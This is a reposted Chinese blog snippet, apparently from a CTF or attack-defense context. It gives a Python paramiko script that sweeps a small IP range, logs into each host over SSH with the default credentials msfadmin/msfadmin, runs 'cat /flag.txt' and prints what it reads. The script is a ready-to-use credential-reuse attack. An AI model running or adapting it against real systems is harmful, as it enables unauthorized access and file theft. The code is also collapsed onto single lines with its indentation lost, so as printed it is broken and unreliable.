ssh连接+执行系统命令
生活随笔
收集整理的這篇文章主要介紹了
ssh连接+执行系统命令
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
# -*- coding: utf-8 -*-
import paramiko
# 服務器相關信息,下面輸入你個人的用戶名、密碼、ip等信息
def ssh_connect_cat_flag():for i in range (130,136):ip = "192.168.100."+str(i)try:port = 22user = "msfadmin"password = "msfadmin"ssh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())# 建立連接ssh.connect(ip,port,user,password,timeout=1)#輸入linux命令stdin,stdout,stderr = ssh.exec_command("cat /flag.txt")# 輸出命令執行結果result = stdout.read()str_result=str(result,"utf-8")print("[+]連接"+ip+"成功,flag為:"+str_result)#關閉連接ssh.close()except:print("[+]連接"+ip+"失敗")if __name__=='__main__':ssh_connect_cat_flag()
總結
以上是生活随笔為你收集整理的ssh连接+执行系统命令的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 大班教案《猴子过河》反思
- 下一篇: 自动利用webshell执行系统命令py